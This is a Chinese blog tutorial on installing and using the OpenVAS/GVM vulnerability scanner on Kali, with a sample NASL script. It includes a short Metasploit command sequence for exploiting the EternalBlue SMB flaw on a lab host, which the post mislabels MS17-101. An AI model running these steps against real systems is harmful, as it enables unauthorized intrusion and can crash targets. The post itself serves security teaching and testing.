漏洞扫描之OpenVas

声明:本篇内容禁止用作非法目的,谢绝一切形式的转载。

OpenVas

架构

OpenVAS是开放式漏洞评估系统,也可以说它是一个包含着相关工具的网络扫描器。下图是OpenVas架构图。
在这里插入图片描述
GVM是一个集成很多服务的框架. 它是GSM商业生产线的一部分,下图是GVM-10的架构:
在这里插入图片描述

术语

GVMdThe Greenbone Vulnerability Manager (gvmd) is the central service that consolidates plain vulnerability scanning into a full vulnerability management solution. GVMd controls the OpenVAS Scanner via an internal protocol and supports the generic Open Scanner Protocol (OSP) for other scanner integrations. The service itself offers the XML-based, stateless Greenbone Management Protocol (GMP) . GVMd also controls a SQL database (SQLite by default, PostgreSQL for advanced purposes) where all configuration and scan result data is centrally stored. Furthermore, GVMd also handles user management including permissions control with groups and roles. And finally the service has an internal runtime system for scheduled tasks and other events.

GSAThe Greenbone Security Assistant (GSA) is the web interface of GVM. It connects to the GVMd to provide a full-featured user interface for vulnerability management. Greenbone Security Assistant consists of

  • GSA - The web application written in React
  • GSAD - The HTTP server talking to the GVMd via GMP

OpenVAS Scanner:The main scanner OpenVAS Scanner is a full-featured scan engine that executes a continuously updated and extended feed of Network Vulnerability Tests(NVTs). There are two feed which are both daily updated, the full-featured extensive commercial Greenbone Security Feed (GSF) and the free available Community Feed.

GVM-Tools:Complementary to the web interface, GVM-Tools allows batch processing / scripting via GMP. This module is comprised of interactive and non-interactive clients. The programming language Python is supported directly for interactive scripting. But it is also possible to issue remote GMP/OSP commands without programming in Python. A script collection offers examples for typical uses cases.

OpenVas安装

基于Kali进行安装。建议基于Kali进行安装,在Ubuntu上安装非常麻烦。
1.Kali升级

apt-get update 
apt-get dist-upgrade

2.OpenVas安装

apt-get install openvas

3.启动安装过程

openvas-setup

2022年4月15日修改。
由于openvas改名为gvm。使用以下命令安装

sudo gvm-setup

OpenVas启动

OpenVas启动命令:

sudo openvas-start

在浏览器中输入:127.0.0.1:9393,进入登陆页面,帐号密码默认都是admin.
在这里插入图片描述

通过配置扫描的目标,进行扫描。扫描结果如下所示,从下面的图中,可以发现在192.168.42.214这个目标机上面存在SMB远程执行漏洞。
在这里插入图片描述
点击SMB漏洞这个条目,可以看到具体的信息:
在这里插入图片描述
通过这些信息,可以确定192.168.42.214这个目标机上存在MS17-101漏洞,这是个什么漏洞那?
当年MS17-101可是轰动世界的漏洞,曾将在公司的时候,我们强制要求在使用电脑的时候把445端口关闭。这个漏洞的名字叫做"永恒之蓝",很多勒索软件基于的也是这个漏洞。

漏洞利用

  1. msfconsole
  2. search ms17-101在这里插入图片描述
  3. use 2
  4. set rhost 192.168.42.214
  5. exploit

注意:利用这种方式发起的攻击,在64位的时候是有效的,在win7 32位的时候会触发蓝屏。

OpenVas 脚本使用

OpenVas使用的脚本是nasl。nasl(Nessus Attack Scripting Language) 是一种为Nessus安全扫描器所设计的脚本语言;它的目的在于使每个人都可以在几分钟内对给定的安全漏洞写出测试代码,并允许人们分享他们的测试代码而不用担心自己使用的是什么操作系统。由于OpenVas是nessus的分支项目,所以也可以使用。

在Kali中,在在目录 /var/lib/openvas/plugins 下面有很多nasl脚本。这里写一个简单的demo.nasl。

display("Hello world. \n");

if( ! ports ) ports = make_list( 9999 );
display(ports);


include('/var/lib/openvas/plugins/http_func.inc');
include('/var/lib/openvas/plugins/global_settings.inc');
display(default:80,"\n");
port = http_get_port( default:8090 );
host = http_host_name( port:port );
display("##########\n");
display(host,"\n");

max = 5;
for( i = 0; i < max; i ++ ) {
  display(i,"##########\n");
  recv = http_get( port:port, item:"/login");
  display(recv,"\n");
}

使用 http_get( port:port, item:”/login”) 调用函数。其中 port:port 代表参数 port 的值是 port,也就是8090,item参数是 “/login”,循环 5次访问。

执行,需要一个IP地址,这里使用了www.hacksprit.top,是一个自己开发的文件存储系统,里面有很多经典的电子书。

openvas-nasl -Xt www.hacksprit.top demo.nasl 

结果如下:
在这里插入图片描述

写在最后

电脑软件能升级的尽量升级,安全补丁要及时打上。

公众号

更多网络安全内容,欢迎关注我的公众号:无情剑客。
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

helloworddm

你的鼓励是我创作最大的动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值